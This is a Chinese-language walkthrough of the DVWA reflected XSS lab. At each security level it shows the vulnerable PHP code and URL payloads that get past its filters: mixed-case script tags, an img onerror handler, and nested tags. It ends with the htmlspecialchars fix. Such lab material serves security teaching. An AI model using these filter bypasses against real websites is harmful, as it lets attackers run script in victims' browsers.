Reflected Cross Site Scripting (XSS)
前言
反射型XSS, 即 Reflected Cross Site Scripting (XSS),??攻擊者事先制作好攻擊鏈接, 需要欺騙用戶自己去點擊鏈接才能觸發(fā)XSS代碼(服務(wù)器中沒有這樣的 頁面和內(nèi)容),一般容易出現(xiàn)在搜索頁面。
下面對四種不同等級的反射型XSS漏洞進行分析:
?
?
-
Low
服務(wù)端核心代碼:
<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end user$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; }?>可以看到, 服務(wù)端只是判斷是否存在name參數(shù)值,? 存在就直接執(zhí)行寫入pre標簽。
?
漏洞利用
由于沒有作任何防護,? 我們可以直接注入:
http://localhost/DVWA/vulnerabilities/xss_r/index.php?name=<script>alert('You are attacked!')</script>看到注入的語句被當做script執(zhí)行了:
?
?
-
Medium
服務(wù)端核心代碼:
<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end user$html .= "<pre>Hello ${name}</pre>"; }?>Medium級別的服務(wù)端將script標簽過濾了,? 但是他沒有不區(qū)分大寫地過濾 (相應(yīng)的可以用正則式來防御)。
?
漏洞利用
這里有三種方法:
- 方法一:? 大小寫繞過
這里需要明白的一點是
- HTML中對大小寫不敏感
- JS中對大小寫敏感
那么我們的注入語句就有:
http://localhost/DVWA/vulnerabilities/xss_r/index.php?name=<Script>alert('You are attacked!')</scRipt>- 方法二:? 錯誤事件img標簽繞過
常規(guī)操作..:
http://localhost/DVWA/vulnerabilities/xss_r/index.php?name=<img src="" onerror="alert('You are attacked!')">- 方法三:? 雙寫繞過
由于服務(wù)端只用str_place()過濾了一次,? 對于多次出現(xiàn)的無法全部匹配完,? 所以這里可以用雙寫繞過:
http://localhost/DVWA/vulnerabilities/xss_r/index.php?name=<s<script>cript>alert('You are attacked!')</script>?
?
-
High
服務(wù)端核心代碼:
<?phpheader ("X-XSS-Protection: 0");// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end user$html .= "<pre>Hello ${name}</pre>"; }?>可以看到,? ?服務(wù)端用了正則式并且不區(qū)分大小寫地過濾所有script標簽,?看來服務(wù)端對script標簽的注入是"情有獨鐘"啊!
?
漏洞利用
雖然過濾了script標簽,? 但是還是可以進行其他的標簽注入,? 比如Medium等級的方法二:
http://localhost/DVWA/vulnerabilities/xss_r/index.php?name=<img src="" onerror="alert('You are attacked!')">?
?
-
Impossible
服務(wù)端核心代碼:
<?php// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$name = htmlspecialchars( $_GET[ 'name' ] );// Feedback for end user$html .= "<pre>Hello ${name}</pre>"; }// Generate Anti-CSRF token generateSessionToken();?>- htmlspecialchars() 函數(shù)
把一些預(yù)定義的字符轉(zhuǎn)換為 HTML 實體。
預(yù)定義的字符是:
& (和號) 成為 &
" (雙引號) 成為 "
' (單引號) 成為 '
< (小于) 成為 <
> (大于) 成為 >
使用htmlspecialchars函數(shù)把預(yù)定義的字符&、”、?’、<、>轉(zhuǎn)換為HTML實體,防止瀏覽器將其作為HTML元素。
總結(jié)
以上是生活随笔為你收集整理的Reflected Cross Site Scripting (XSS)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: T00LS专访白帽子:carry_you
- 下一篇: r语言 读服务器数据,R语言数据实战 |